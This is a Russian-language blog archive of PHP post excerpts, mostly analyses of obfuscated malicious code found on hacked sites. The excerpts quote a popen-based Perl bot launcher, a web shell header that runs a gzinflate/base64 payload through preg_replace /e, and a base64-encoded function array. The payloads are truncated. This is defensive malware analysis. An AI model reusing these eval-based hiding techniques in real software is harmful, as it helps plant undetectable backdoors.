Архив метки: PHP

PHP и побитовый сдвиг

PHP, как известно, язык не имеющий строгой типизации переменных, как, например, С или С++. Объявляете переменную, пихаете в нее данные, а интерпретатор сам решает, в каком виде их хранить. Однако так же присутствует и механизм, позволяющий специально преобразовать переменную из одного типа в другой – так называемое приведение типов. Что касается целых чисел, интерпретатор может… Читать далее »

Скрытие кода, метод 10: почти стеганография

Получил от клиента жалобу, что антивирус ругается на… картинки! Сначала я проверил все файлы .htaccess, ничего подозрительного. Затем сами файлы картинок (jpg) командой file – нормальные файлы изображений в формате JPEG. Затем открыл файл (по ссылке) в браузере – обычная картинка (мой антивирус не проверяет изображения на предмет вирусов, а зачем?). Бред какой-то… Тогда я… Читать далее »

Критическая уязвимость в PHP

Компьютерная группа реагирования на чрезвычайные ситуации (CERT) опубликовала уведомление об утечке информации о критической уязвимости в PHP, которая позволяет запустить произвольный код на сервере или просмотреть исходный код любого PHP-скрипта, выполняемого в CGI-режиме (используется некоторыми хостинг-провайдерами). Cкрипты, выполняемые с использованием mod_php и FastCGI (например, связки nginx с php-fpm), не подвержены проблеме. Опасность уязвимости усугубляет тот… Читать далее »

Скрытие кода, метод 9

Этот метод популярен у ботоводов (т.е. распространителей perl-ботов), зашифрованный код передается непосредственно процессу Perl, запускаемому функцией popen(): error_reporting( 1 ); global $HTTP_SERVER_VARS; if (@is_resource( $f = @popen( ‘perl — E54POCH’, "w" ) )) { @fwrite( $f, ‘eval( pack( "H*", "6368…7d20" ) );eval( pack( "H*", "7573…353b"));’ ); @fflush( $f ); sleep( 1 ); @pclose( $f );… Читать далее »

Скрытие кода, метод 8

<?php # Web Shell by oRb $auth_pass = "63a9f0ea7bb98050796b649e85481845"; $color = "#df5"; $default_action = ‘FilesMan’; $default_use_ajax = true; $default_charset = ‘Windows-1251’; preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66 \x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F \x64\x65\x28’5b1pdx…Kn6fwE=’\x29\x29\x29\x3B",".");?> Чертовски гениально!) preg_replace ничего не заменяет, а просто выполняет роль eval(), выполняя весь код из второго аргумента! pattern Искомый шаблон. Может быть как строкой, так и массивом строк. Также доступны некоторые… Читать далее »

Скрытие кода, метод 7

Следующих код был взят из двух файлов, залитых на взломанный сайт. В каждом из файлов код состоял из трех блоков. Первый блок был почти одинаковым, массив функций, закодированный в base64: $GLOBALS[‘_482181972_’] = Array( base64_decode( ‘Z’ .’mlsZ’ .’V9′ .’nZ’ .’XRfY29u’ .’dGV’ .’udHM’ .’=’ ), // file_get_contents base64_decode( ‘c3Ry’ .’c’ .’G’ .’9z’ ), // strpos base64_decode( ‘ZmlsZW10’… Читать далее »

Function hijaking

Перехват функций – архиполезная штука. Если нет возможности изобрести пяттиколесный велосопед, поймать опасную функцию (системную команду) за хвост можно с помощью модуля Baxtep (спасибо Андрею). Baxtep – PHP security extension to intercept execution of system commands. Для сборки модуля понадобятся пара прямых рук и такие команды: # скачиваем с репозитория svn checkout https://baxtep.googlecode.com/svn/trunk/ baxtep #… Читать далее »